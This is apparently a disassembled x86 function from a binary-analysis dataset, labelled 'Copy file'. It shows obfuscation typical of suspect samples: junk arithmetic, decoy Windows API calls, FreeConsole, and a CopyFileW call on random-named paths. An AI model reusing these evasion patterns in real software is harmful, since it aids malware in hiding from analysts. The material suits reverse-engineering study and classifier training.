Function at 0x405ba0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x154
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x64]
lea edx, [ebp - 0xe4]
lea esi, [entry0]
mov dword [ebp - 0x78], 0xf
mov edi, dword [ebp - 0x78]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
mov ebx, dword [ebp - 0xb8]
mov dword [ebp - 0x68], 1
mov word [ebp - 0x4e], 0x1634
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x68]
mov byte [ebp - 0x4f], 0x2a
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], 7
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x48], 0x100000
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x8c]
and eax, 0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x94], 0x100000
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x94]
mov byte [ebp - 0x50], 0xff
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x6c], 1
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x98], 0x10
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x80], 0xa
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x54], 8
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xa4], 2
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0xa8], 0x400
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x74], 4
mov word [ebp - 0xb2], 0x18b1
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x18], accept
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x88], 0x800
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xc4], eax
mov dword [0x40f154], esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov ecx, dword [ebp - 0x110]
mov dword [esp + 8], ecx
mov dword [ebp - 0x130], ebx
mov dword [ebp - 0x134], edi
call fcn.00401790
mov ecx, dword [ebp - 0x108]
mov dword [ebp - 0xe8], ecx
mov word [ebp - 0x12], 0x5652
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xbc]
xor ecx, 0
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0xc4]
mov dx, word [ebp - 0x12]
add dx, 0x732b
mov word [ebp - 0xb2], dx
mov word [ebp - 0x12], 0x523c
mov esi, dword [ebp - 0x104]
add esi, ecx
cmp eax, esi
jge 0x405fc5
lea eax, [ebp - 0x12]
mov cx, 0x1397
sub cx, word [ebp - 0x12]
mov edx, dword [ebp - 0x70]
xor edx, eax
mov dword [ebp - 0x70], edx
mov eax, esp
mov edx, dword [ebp - 0x134]
mov dword [eax + 4], edx
mov dword [eax], str.D7yHaaOgny2TMS
mov eax, dword [sym.imp.USER32.dll_CharLowerBuffA]
mov word [ebp - 0x13a], cx
call eax
sub esp, 8
mov edx, dword [ebp - 0xe8]
mov cx, word [ebp - 0x13a]
mov word [ebp - 0x12], cx
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], esi
mov esi, dword [ebp - 0xfc]
cmp edx, esi
mov dword [ebp - 0x140], eax
jne 0x405f20
mov eax, 0
lea ecx, [ebp - 0x70]
lea edx, [ebp - 0x4e]
mov esi, dword [ebp - 0xc4]
mov bl, byte [ebp - 0x50]
mov bh, dl
mov edx, dword [ebp - 0x70]
and bl, bh
mov byte [ebp - 0x50], bl
mov edi, dword [ebp - 0x4c]
or edi, ecx
mov dword [ebp - 0x4c], edi
sub eax, edx
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xf8]
cmp esi, eax
jne 0x405ebd
mov eax, 0
mov cl, byte [ebp - 0x4f]
sub eax, dword [ebp - 0x70]
and cl, 0x36
mov byte [ebp - 0x4f], cl
mov edx, dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [ebp - 0x144], eax
call edx
mov edx, dword [ebp - 0x100]
mov dword [esp], edx
mov dword [ebp - 0x148], eax
call fcn.004057d0
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x7c], eax
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x70], edx
mov word [ebp - 0x12], 0x5e80
jmp 0x40600a
lea eax, [ebp - 0x44]
mov ecx, 0
mov edx, dword [ebp - 0x70]
mov bl, byte [ebp - 0x50]
mov esi, dword [ebp - 0x70]
xor esi, 0
mov dword [ebp - 0x70], esi
add bl, 0x1f
sub ecx, edx
mov dword [ebp - 0x70], ecx
mov byte [ebp - 0x50], bl
mov ecx, esp
mov edx, dword [ebp - 0x124]
mov dword [ecx + 0x10], edx
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x128]
mov dword [ecx + 8], eax
mov esi, dword [ebp - 0x12c]
mov dword [ecx], esi
mov dword [ecx + 0x14], 0
mov dword [ecx + 4], 0xffffffff
mov ecx, dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
call ecx
sub esp, 0x18
mov dword [ebp - 0xb0], eax
mov eax, esp
mov ecx, dword [ebp - 0x114]
mov dword [eax + 0x14], ecx
mov edx, dword [ebp - 0x118]
mov dword [eax + 0xc], edx
mov esi, dword [ebp - 0x11c]
mov dword [eax + 4], esi
mov edi, dword [ebp - 0x120]
mov dword [eax], edi
mov dword [eax + 0x10], str.srBSLAGoFp
mov dword [eax + 8], str.02E5YYKm
mov eax, dword [sym.imp.KERNEL32.dll_CompareStringA]
call eax
sub esp, 0x18
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x90], eax
mov bx, word [ebp - 0x4e]
add bx, 0x1f45
mov eax, dword [ebp - 0x10]
sub ecx, eax
mov dword [ebp - 0x4c], 0
mov word [ebp - 0x4e], bx
mov dword [ebp - 0x10], ecx
lea eax, [ebp - 0xb2]
mov ecx, dword [ebp - 0xe8]
mov edx, dword [ebp - 0xf0]
add ecx, edx
mov esi, dword [ebp - 0x70]
mov di, word [ebp - 0xb2]
mov ebx, dword [ebp - 0x70]
xor ebx, 0
mov dword [ebp - 0x70], ebx
and di, 0x1bb1
mov word [ebp - 0x4e], di
or esi, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0xe8], ecx
jmp 0x405d97
mov eax, esp
mov ecx, dword [ebp - 0x10c]
mov dword [eax + 8], ecx
mov dword [eax + 4], str.E:_ftML81PHbsvcivCPPaBqffIpppDFpkje56Rm2YSGO
mov dword [eax], str.E:_aMLw4lcdp0UUCr79wSjSqUNlmD7q9ZRoJlU7zQWNfE
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileW]
call eax
sub esp, 0xc
lea ecx, [ebp - 0xb2]
mov edx, dword [ebp - 0xbc]
xor edx, ecx
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x4c]
mov cx, 0x465d
sub cx, word [ebp - 0xb2]
mov dx, word [ebp - 0x12]
mov si, ax
and dx, si
mov word [ebp - 0x12], dx
mov eax, dword [ebp - 0x7c]
mov word [ebp - 0xb2], cx
mov dword [ebp - 0x4c], 0
add esp, 0x154
pop esi
pop edi
pop ebx
pop ebp
ret